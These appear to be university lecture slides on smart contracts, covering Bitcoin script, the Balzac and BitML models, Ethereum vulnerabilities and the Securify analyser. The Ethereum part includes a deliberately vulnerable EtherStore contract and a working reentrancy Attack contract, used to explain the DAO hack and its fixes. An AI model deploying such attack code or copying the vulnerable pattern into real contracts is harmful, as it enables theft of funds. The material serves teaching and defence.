Smart Contracts on Blockchains
Models, Verification and Attacks
We will see

- **Bitcoin**
  - Bitcoin scripting
  - how to very contract using high level languages
    - Balzac
    - BITML
- **Ethereum**
  - vulnerabilities in Ethereum contracts
    - overview of several vulnerabilities
    - DAO hack in detail
  - how to analyze such contracts
    - Securify
Smart Contracts on Bitcoin
Bitcoin Transactions

Most common case:

**Input**: which block output to spend, **authentication**

**Output**: value, **who can spend it**

<table>
<thead>
<tr>
<th>input</th>
<th>output</th>
</tr>
</thead>
<tbody>
<tr>
<td>_</td>
<td>5, you must be Alice</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>input</th>
<th>output</th>
</tr>
</thead>
<tbody>
<tr>
<td>I am Alice</td>
<td>4, you must be Bob</td>
</tr>
</tbody>
</table>

UTXO (Unspent Transaction Output)
Bitcoin Transactions

What really happens:

**Input**: which block output to spend, **unlocking script**

**Output**: value, **locking script**

<table>
<thead>
<tr>
<th>input</th>
<th>output</th>
</tr>
</thead>
<tbody>
<tr>
<td>_</td>
<td>5, check you are Alice</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>input</th>
<th>output</th>
</tr>
</thead>
<tbody>
<tr>
<td>prove I am Alice</td>
<td>4, check you are Bob</td>
</tr>
</tbody>
</table>

Pay-to-public-key-hash (P2PKH) Script
# Bitcoin Transactions - in general

<table>
<thead>
<tr>
<th>input</th>
<th>output</th>
</tr>
</thead>
<tbody>
<tr>
<td>_</td>
<td>val1, lockingScript1</td>
</tr>
<tr>
<td>_</td>
<td>val2, lockingScript2</td>
</tr>
<tr>
<td>_</td>
<td>val1', lockingScript1'</td>
</tr>
<tr>
<td>_</td>
<td>val1'', lockingScript1''</td>
</tr>
<tr>
<td>_</td>
<td>val2'', lockingScript2''</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>input</th>
<th>output</th>
</tr>
</thead>
<tbody>
<tr>
<td>unlocking1</td>
<td>out1: _, _</td>
</tr>
<tr>
<td>unlocking2</td>
<td>out2: _, _</td>
</tr>
<tr>
<td>unlocking3</td>
<td></td>
</tr>
<tr>
<td>unlocking4</td>
<td></td>
</tr>
</tbody>
</table>
Bitcoin Scripting Language
(reverse-polish notation stack-based execution language)

Example

2 3 OP_ADD 5 OP_EQUAL
Bitcoin Scripting Language
(reverse-polish notation stack-based execution language)

Example

2 3 OP_ADD 5 OP_EQUAL

stack
Bitcoin Scripting Language
(reverse-polish notation stack-based execution language)

Example

2 3 OP_ADD 5 OP_EQUAL

stack

2
Bitcoin Scripting Language
(reverse-polish notation stack-based execution language)

Example

2 3 OP_ADD 5 OP_EQUAL

stack

+---+---+---+
| 2  | 3  | 5  |
+---+---+---+
|    |    |    |
+---+---+---+
| 3  |    |    |
+---+---+---+
| 2  |    |    |
+---+---+---+
Bitcoin Scripting Language
(reverse-polish notation stack-based execution language)

Example

2 3 OP_ADD 5 OP_EQUAL

stack

5
Bitcoin Scripting Language
(reverse-polish notation stack-based execution language)

Example

2 3 OP_ADD 5 OP_EQUAL

stack

5
5
Bitcoin Scripting Language
(reverse-polish notation stack-based execution language)

Example

2 3 OP_ADD 5 OP_EQUAL

stack

true
Example

unlocking script

2 3 OP_ADD

locking script

5 OP_EQUAL

The system run: 2 3 OP_ADD 5 OP_EQUAL

... and check that true (and only true) is in the stack at the end
Unlocking script
  <Alice Signature> <Alice Public Key>

Locking script
  OP_DUP OP_HASH160 <Alice Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
Bitcoin Scripting Language

● Cryptographic primitives
  ○ OP_HASH160, OP_CHECKSIG, …

● Time
  ○ don’t append until Timelock
  ○ Check Lock Time Verify in Script

● Multisignature
  ○ N out of M singatures in Script

● Flow control
  ○ IF, ELSE, ENDF
Verification of Bitcoin Contracts
High Level Languages

Difficult to reason on complex examples with the Script language

- Proposals for high level models
- More, less or equally expressive w.r.t. Script
- Compile in Bitcoin Script
- Allow some form of property verification

We will look at some of them through an example
Example - timed commitment

Alice (*committer*)
- commits to a *secret* with a *deadline*
  - she will reveal the secret before the deadline
  - otherwise she will pay a price to Bob

Bob (*receiver*)
- read and use the secret if it is revealed
- *punish* Alice if the secret is not revealed before deadline
Balzac - Transactions

- Express Bitcoin transactions in readable way
- Allow to express protocols that uses such transactions
- Can perform some sanity checks
Balzac - Transactions

```javascript
// A's view
const fee = 0.00113 BTC
const deadline = 2019-03-31
const kApub = pubkey:03ff...c9c3
const kBpub = pubkey:03a5...c1fb

transaction Commit(h, sigAc) {
  input = FundsA: sigAc
  output = this.input.value - fee:
    fun(x, s:string) .
      sha256(s) == h && versig(kApub;x)
    || checkDate deadline : versig(kBpub;x)
}

transaction Reveal(h, s:string, sigAr) {
  input = Commit(h, _): sigAr s
  output = this.input.value - fee:
    fun(x). versig(kApub;x)
}
```

Alice’s commit
- Redeems FundsA
- “I will reveal $s$ s.t. $\text{sha256}(s) = h$ before 2019-03-31 and take my money back OR Bob will get the money”

Alice’s reveal
- Redeems Commit
- Reveal $s$ ($\text{sha256}(s) = h$ checked by locking script of Commit)
- Unlocking script checks Alice spends
Balzac - Transactions

```javascript
// A's view
const fee = 0.00113 BTC
const deadline = 2019-03-31
const kApub = pubkey:03ff...c9c3
const kBpub = pubkey:03a5...c1fb

transaction Commit(h,sigAc) {  
  input = FundsA: sigAc
  output = this.input.value - fee:
    fun(x,s:string) .
      sha256(s) == h && versig(kApub;x)  
      || checkDate deadline : versig(kBpub;x)
}

// B's view
const fee = 0.00113 BTC
const deadline = 2019-03-31
const kApub = pubkey:03ff...c9c3
const kBpub = pubkey:03a5...c1fb
const kB = key:cQtk...fYgZ // private key

transaction Commit(h,sigAc) {  
  // as in A's view
}

transaction Reveal(h,s:string,sigAr) {  
  // as in A's view
}

transaction Timeout(h) {  
  input = Commit(h,): sig(kB)  
  output = this.input.value - fee:
    fun(x). versig(kB;x)
    absLock = date deadline
}
```

Bob's timeout
- Redeems Commit
- Unlocking script check Bob spends
- Timelock deadline (checked by locking script of Commit)
Balzac - Protocol

Actually we need a protocol using the transactions

\[ P_A = \text{put } \text{Commit}(h, \text{sigAc}). B!h. \text{put } \text{Reveal}(h, s, \text{sigAr}) \]

\[ Q_B = A ? x. \text{ask } \text{Commit}(x, \_). Q' \]

\[ Q' = \text{ask } \text{Reveal}(x, \_, \_) \text{ as } T. Q_{ok}(\text{get\_secret}(T)) + \text{put } \text{Timeout}(x). Q_{nok} \]

Model

- **System**: parallel composition of the protocols of participants and blockchain
- **Execution**: computation on the process algebra
BITML

- Explicitly speaks about contracts
- Contracts are advertised, signed and executed
- Compiles in Script
- Possible executions (traces) can be model checked with LTL
Contract advertisement: \{G\}C

- precondition G
- contract C

\[
G = A :: ! 1B @ x | A :: secret a | B :: ! 0B @ y
\]

\[
C = (\text{reveal } a. \text{withdraw } A) \\
+ (\text{after deadline: withdraw } B)
\]
BITML

**Contract advertisement:** \{G\}C
- precondition G
- contract C

**Contract requirement fulfillment:** A[x ▸ \{G\}C]
- user A
- contract advertisement \{G\}C

**Contract execution:** \langle C, v \rangle
- contract C
- value v
\[ \Gamma \rightarrow \Gamma \mid \{G\}C \]  
\[ \rightarrow \Gamma \mid \{G\}C \mid \{A : a\#N\} \mid A[\# \triangleright \{G\}C] \]  
\[ \rightarrow \Gamma \mid \{G\}C \mid \{A : a\#N\} \mid A[\# \triangleright \{G\}C] \mid B[\# \triangleright \{G\}C] \]  
\[ \rightarrow \Gamma \mid \{G\}C \mid \{A : a\#N\} \mid A[\# \triangleright \{G\}C] \mid B[\# \triangleright \{G\}C] \mid A[x \triangleright \{G\}C] \]  
\[ \rightarrow \Gamma \mid \{G\}C \mid \{A : a\#N\} \mid A[\# \triangleright \{G\}C] \mid B[\# \triangleright \{G\}C] \mid A[x \triangleright \{G\}C] \mid B[y \triangleright \{G\}C] \]  
\[ \rightarrow \langle C, 1B \rangle_{x_1} \mid \{A : a\#N\} \mid t \]  
\[ \rightarrow \langle C, 1B \rangle_{x_1} \mid A : a\#N \mid t \]  
\[ \rightarrow \langle \text{withdraw } A, 1B \rangle_{x_2} \mid A : a\#N \mid t \]  
\[ \rightarrow \langle A, 1B \rangle_{x_3} \mid A : a\#N \mid t \]
# Comparison between models

<table>
<thead>
<tr>
<th>Model</th>
<th>Expressiveness</th>
<th>Abstraction level</th>
<th>Verification</th>
</tr>
</thead>
<tbody>
<tr>
<td>Balzac</td>
<td>= Bitcoin</td>
<td>Set of transaction</td>
<td>Basic type checking + sanity checking</td>
</tr>
<tr>
<td>Ivy</td>
<td>= Bitcoin</td>
<td>Script</td>
<td>Basic type checking</td>
</tr>
<tr>
<td>Simplicity</td>
<td>&gt; Bitcoin</td>
<td>Script</td>
<td>Type checking (with simple types)</td>
</tr>
<tr>
<td>Uppaal</td>
<td>&gt; Bitcoin</td>
<td>Set of transaction + TA</td>
<td>LTL model checking</td>
</tr>
<tr>
<td>BitML</td>
<td>&lt; Bitcoin</td>
<td>Contract</td>
<td>LTL model checking</td>
</tr>
</tbody>
</table>
Ethereum
Ethereum

Bitcoin is not for contracts…
Ethereum

Bitcoin is **not** for contracts… **Ethereum is for contracts!**
Ethereum

Bitcoin is not for contracts… Ethereum is for contracts!

Ethereum Virtual Machine executes bytecode
● A smart contract is a EVM program

Database with transactions and system state
Ethereum transactions

- Recipient (target ETH address)
- Value (ETH to send)
- Data

Used for
- Payments
- Invocation of contracts
  - a specific function
- Creation of contracts
  - with a starting balance
Ethereum accounts

● Externally Owned Accounts
  ○ controlled by users

● Contract Accounts
  ○ do what the program tells
  ○ executed in the Ethereum Virtual Machine
  ○ contracts can call other contracts
Ethereum Bytecode

Turing completeness… but with limited resources
● Each instruction has a cost (in gas)
● Transactions specifies
  ○ a limited amount of gas (gas limit)
  ○ how many ETH he pays for gas (gas price)

Context of execution
● the contract state
● the caller transaction
● (limited view of the blockchain)
Ethereum contracts language

- EVM bytecode is difficult to use directly

- Several High Level Languages
  - Serpent
  - Solidity
  - Vyper
  - Bamboo
Ethereum contracts language

- EVM bytecode is difficult to use directly
- Several High Level Languages
  - Serpent
  - Solidity
  - Vyper
  - Bamboo
Solidity - an example

```solidity
contract Owned {
    address owner;

    // Contract constructor: set owner
    constructor() {
        owner = msg.sender;
    }

    // Access control modifier
    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }
}
```
Solidity - an example

```solidity
contract Mortal is Owned {
    // Contract destructor
    function destroy() public onlyOwner {
        selfdestruct(owner);
    }
}
```
Solddity - an example

```solidity
contract Faucet is Mortal {
    // Give out ether to anyone who asks
    function withdraw(uint withdraw_amount) public {
        // Limit withdrawal amount
        require(withdraw_amount <= 0.1 ether);
        // Send the amount to the address that requested it
        msg.sender.transfer(withdraw_amount);
    }
    // Accept any incoming amount
    receive () external payable {};
}
```
Solidity - an example

```solidity
contract Token is Mortal {
    Faucet _faucet;

    constructor() {
        _faucet = (new Faucet).value(0.5 ether)();
    }

    function destroy() ownerOnly {
        _faucet.destroy();
    }
}
```
Solidity - an example

```solidity
contract Token is Mortal {

    Faucet _faucet;

    constructor(address _f) {
        _faucet = Faucet(_f);
        _faucet.withdraw(0.1 ether);
    }
}
```
Contract security

- Arithmetic over/underflow
  - as usual must be taken into account
- Unexpected Eth
  - assuming only functions can change the balance is a mistake
- Delegatecall
- External Contract Referencing (Type Flow)
- Uninitialized Storage Pointers
- Reentrancy
- Denial of Service (DoS)
DAO hack (2016 hard-fork, $50 million)

- Contract functions can send ETH to the caller
- This may cause a call to a function of the caller contract
- The attacker can exploit this
  - malicious code calling back the vulnerable contract

Note: Reentrancy is actually a well known problem in computer science
contract EtherStore {

  uint256 public withdrawalLimit = 1 ether;
  mapping(address => uint256) public lastWithdrawTime;
  mapping(address => uint256) public balances;

  function depositFunds() external payable {
    balances[msg.sender] += msg.value;
  }

  function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
  }
}
contract Attack {
    EtherStore public etherStore;

    // initialize the etherStore variable with the contract address
    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    function attackEtherStore() external payable {
        // attack to the nearest ether
        require(msg.value >= 1 ether);
        // send eth to the depositFunds() function
        etherStore.depositFunds.value(1 ether)();
        // start the magic
        etherStore.withdrawFunds(1 ether);
    }

    function collectEther() public {
        msg.sender.transfer(this.balance);
    }

    // fallback function - where the magic happens
    function () payable {
        if (etherStore.balance > 1 ether) {
            etherStore.withdrawFunds(1 ether);
        }
    }
}
Reentrancy - DAO hack

```solidity
function attackEtherStore() external payable {
    // attack to the nearest ether
    require(msg.value >= 1 ether);
    // send eth to the depositFunds() function
    etherStore.depositFunds.value(1 ether)();
    // start the magic
    etherStore.withdrawFunds(1 ether);
}
```

You deposit 1 eth
You withdraw 1 eth
Fine so far
Reentrancy - DAO hack

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}
Reentrancy - DAO hack

You withdraw 1 eth

```solidity
function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}
```
Reentrancy - DAO hack

```solidity
function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw); // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit); // limit the time allowed to withdrawal
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}
```
Reentrancy - DAO hack

You withdraw 1 eth

```solidity
function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}
```
Reentrancy - DAO hack

You withdraw 1 eth

```solidity
def function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}
```

Fine so far

fallback of the attacker

Note: if fallback just take the money everything is fine!
Reentrancy - DAO hack

The fallback function of the attacker

```solidity
// fallback function - where the magic happens
function () payable {
    if (etherStore.balance > 1 ether) {
        etherStore.withdrawFunds(1 ether);
    }
}
```

Note:
- Another call to the same function
- The old one remains in the stack
Reentrancy - DAO hack

Note: balances and lastWithdrawTime are not updated yet

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawallLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}
Reentrancy - DAO hack

The fallback function of the attacker

- Assume etherStore.balance is 1
- Just take the ethereum (the second one)
- And we return to the second instance of withdrawFunds

``` Solidity
// fallback function - where the magic happens
function () payable {
    if (etherStore.balance > 1 ether) {
        etherStore.withdrawFunds(1 ether);
    }
}
```
Reentrancy - DAO hack

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}

- Balances[attacker] take 0
- LastWithdrawTime[attacker] take now
- We go back to first instance of fallback and then to withdrawFunds

You withdraw 1 eth
Reentrancy - DAO hack

- Balances[attacker] take -1 (more or less)
- LastWithdrawTime[attacker] take now

```solidity
function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}
```

You withdraw 1 eth

fallback of the attacker
Reentrancy - DAO hack

Solution

● Update the variables before calling the external code

or

● Use mutex
Denial of Service (DoS)

- When a user can make a contract inoperable
- Different possible sources:
  - **Cost of the computation depends on input of the users**
    - Loop through externally manipulated mappings/arrays
      - Contract loops on an array of subscribed users
      - Any user can subscribe
      - Subscribing lots of users can make the cost of running the contract higher than the gas limit of the contract
Automated Security Analysis of Ethereum Contracts
Automated Security Analysis

W.r.t. a **security property**, e.g. “*no state changes after call instructions*”

Assume we have **safe** and **unsafe** calls:
- can we find all the safe\unsafe calls?
Automated Security Analysis

W.r.t. a **security property**, e.g. “no state changes after call instructions”

Assume we have **safe** and **unsafe** calls:
- can we find all the safe\unsafe calls? **NO!** (Turing completeness)
Automated Security Analysis

- **Bug hunting approach**
  - You **try** to find problems
  - If you can’t just **assume** it is safe (you may miss issues)
Automated Security Analysis

- **Bug hunting approach**
  - You **try** to find problems
  - If you can’t just **assume** it is safe (you may miss issues)

- **New approach: Securify**
  - If **sure** it is problematic → **error**
  - If **sure** it is safe → **ok**
  - Otherwise → **warning**
Securify

often security properties can be expressed on the data-flow graph

- Given a security property, you must define two patterns
  - compliance pattern \((pc)\): implies property
  - violation pattern \((pv)\): implies property negation

- Securify check this patterns
  - contract dependency graph \(\rightarrow\) semantic information in Datalog
  - check \(pc\) and \(pv\) \(\rightarrow\) report violation, compliance and warning
Securify

Parsed EVM bytecode

00: push 0x04
02: dataload
03: push 08
05: jump
06: jumpdest
07: stop
08: jumpdest
09: push 0x00
0B: sload
0C: push 0x00
0E: sstore
0F: jump

Decompiled code

// entry
l1 a = 4
l2 b = dataload(a)
l3 ABI_9DA8(b)
l4 stop()

// method
ABI_9DA8(b) {
  l5 c = 0
  // write owner
  l6 sstore(c, b);
}

Semantic facts

MustFollow(l1, l2)
MayDepOn(a, const)
MayDepOn(b, dataload)
Eq(c, 0)

Restricted write violation pattern

some sstore(L,X, _).
¬MayDepOn(X, caller)
∧¬MayDepOn(L, caller)

Matched pattern

// entry
l1 a = 4
l2 b = dataload(a)
l3 ABI_9DA8(b)
l4 stop()

// method
ABI_9DA8(b) {
  l5 c = 0
  // write owner
  l6 sstore(c, b);
}
Securify - property workflow

1. **Original** security property $P$

2. **Data-flow** graph property $P'$ s.t.
   \[ \forall \text{ contract } C . \; C \models P \iff C \models P' \]

3. **Patterns** in the domain-specific language of Securify
   - Compliance pattern (pc) s.t.
     \[ \forall \text{ contract } C . \; \text{if } C \models \text{pc} \text{ then } C \models P' \]
   - Violation pattern (pv) s.t.
     \[ \forall \text{ contract } C . \; \text{if } C \models \text{vc} \text{ then } C \models \neg P' \]
Securify language for properties

Properties speak about

- **flow**-dependency predicates
- **data**-dependency predicates

\[ \varphi ::= \text{instr}(L, Y, X, \ldots, X) \mid \text{Eq}(X, T) \mid \text{DetBy}(X, T) \]
\[ \mid \text{MayDepOn}(X, T) \mid \text{MayFollow}(L, L) \mid \text{MustFollow}(L, L) \]
\[ \mid \text{Follow}(L, L) \mid \exists X. \varphi \mid \exists L. \varphi \mid \exists T. \varphi \mid \neg \varphi \mid \varphi \land \varphi \]
Example - DAO vulnerability

1. **Property P**: no state changes after the call instructions

2. **Property P’**: for all traces t, the storage does not change in the interval that start just before any call instruction and ends when the trace completes

3. 
   - **pc**: no write mayFollow a call instruction
     \[ \forall \text{call}(L1,_,_). \neg \exists \text{sstore}(L2,_,_). \text{mayFollow}(L2,L1) \]
   - **pv**: a write mustFollow a call instruction
     \[ \exists \text{call}(L1,_,_). \exists \text{sstore}(L2,_,_). \text{mustFollow}(L2,L1) \]
## Encoded properties

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Security Pattern</th>
</tr>
</thead>
<tbody>
<tr>
<td>LQ: Ether liquidity</td>
<td>compliance</td>
<td>all stop($L_1$). some goto($L_2, X, L_3$). $X = \text{callvalue} \land \text{Follow}(L_2, L_4) \land L_3 \neq L_4 \land \text{MustFollow}(L_4, L_1)$</td>
</tr>
<tr>
<td></td>
<td>compliance</td>
<td>some call($L_1, _, _, \text{Amount}$). Amount $\neq 0 \lor \text{DetBy}(\text{Amount}, \text{data})$</td>
</tr>
<tr>
<td></td>
<td>violation</td>
<td>(some stop($L$). $\neg\text{MayDepOn}(L, \text{callvalue})$) $\land$ (all call($_, _, _, \text{Amount}$). Amount $= 0$)</td>
</tr>
<tr>
<td>NW: No writes after call</td>
<td>compliance</td>
<td>all call($L_1, _, _, _$. $\text{sstore}(L_2, _, _$. $\neg\text{MayFollowing}(L_1, L_2)$</td>
</tr>
<tr>
<td></td>
<td>violation</td>
<td>some call($L_1, _, _, _$. $\text{sstore}(L_2, _, _$. MustFollow($L_1, L_2)$</td>
</tr>
<tr>
<td>RW: Restricted write</td>
<td>compliance</td>
<td>$\text{sstore}(_, _, _, _$. $\text{DetBy}(X, \text{caller})$ $\land$ $\neg\text{MayDepOn}(X, \text{caller})$ $\land$ $\neg\text{MayDepOn}(L_1, \text{caller})$</td>
</tr>
<tr>
<td></td>
<td>violation</td>
<td>some call($L_1, _, _, _$. $\text{sstore}(L_2, _, _$. $\neg\text{MayDepOn}(L_1, \text{data})$ $\land$ $\neg\text{MayDepOn}(L_1, \text{caller})$ $\land$ $\neg\text{MayDepOn}(L_1, \text{data})$</td>
</tr>
<tr>
<td>RT: Restricted transfer</td>
<td>compliance</td>
<td>all call($_, _, _, _$. Amount $= 0$ $\land$ $\neg\text{MayDepOn}(L_1, \text{caller})$ $\land$ $\neg\text{MayDepOn}(L_1, \text{data})$</td>
</tr>
<tr>
<td></td>
<td>violation</td>
<td>some call($L_1, _, _, _$. $\text{DetBy}(\text{Amount}, \text{data})$ $\land$ $\neg\text{MayDepOn}(L_1, \text{caller})$ $\land$ $\neg\text{MayDepOn}(L_1, \text{data})$</td>
</tr>
<tr>
<td>HE: Handled exception</td>
<td>compliance</td>
<td>all call($L_1, _, _, _$. some goto($L_2, X, _$. MustFollow($L_1, L_2) \land \text{DetBy}(X, Y)$</td>
</tr>
<tr>
<td></td>
<td>violation</td>
<td>some call($L_1, _, _, _$. all goto($L_2, X, _$. MustFollow($L_1, L_2)$ $\Rightarrow$ $\neg\text{MayDepOn}(X, Y)$</td>
</tr>
<tr>
<td>TOD: Transaction ordering</td>
<td>compliance</td>
<td>all call($_, _, _, _$. $\neg\text{MayDepOn}(\text{Amount}, \text{sload})$ $\land$ $\neg\text{MayDepOn}(\text{Amount}, \text{balance})$</td>
</tr>
<tr>
<td>dependency</td>
<td>violation</td>
<td>some call($_, _, _, _$. some sload($_, X, Y, _$. some sstore($_, X_2, _$. $\text{DetBy}(\text{Amount}, Y) \land X_1 = X_2 \land$ isConst($X_1$) $\land$ isConst($X_1$)</td>
</tr>
<tr>
<td>VA: Validated arguments</td>
<td>compliance</td>
<td>$\text{sstore}(L_1, _, X$. $\text{MayDepOn}(X, \text{arg})$ $\Rightarrow$ (some goto($L_2, Y, _$. MustFollow($L_2, L_1) \land \text{DetBy}(Y, \text{arg})$</td>
</tr>
<tr>
<td></td>
<td>violation</td>
<td>some sstore($L_1, _, X$. $\text{DetBy}(X, \text{arg})$ $\Rightarrow$ $\neg$ (some goto($L_2, Y, _$. MustFollow($L_2, L_1) \land \text{MayDepOn}(Y, \text{arg})$</td>
</tr>
</tbody>
</table>

---

70
Conclusions

- Very **different contexts** for smart contracts
- Very **different languages** for smart contracts
- **Critical** - lots of money may be involved
- **Error prone** - attacker view everything and has lots of options
- Problems are **not peculiar**
- **Standard solutions** and techniques can be successfully applied
Bibliography - Bitcoin

- BitML: A Calculus for Bitcoin Smart Contracts, Massimo Bartoletti, Roberto Zunino, CCS (2018)
Bibliography - Ethereum

- Mastering Ethereum, Andreas M. Antonopoulos, Gavin Wood (2018)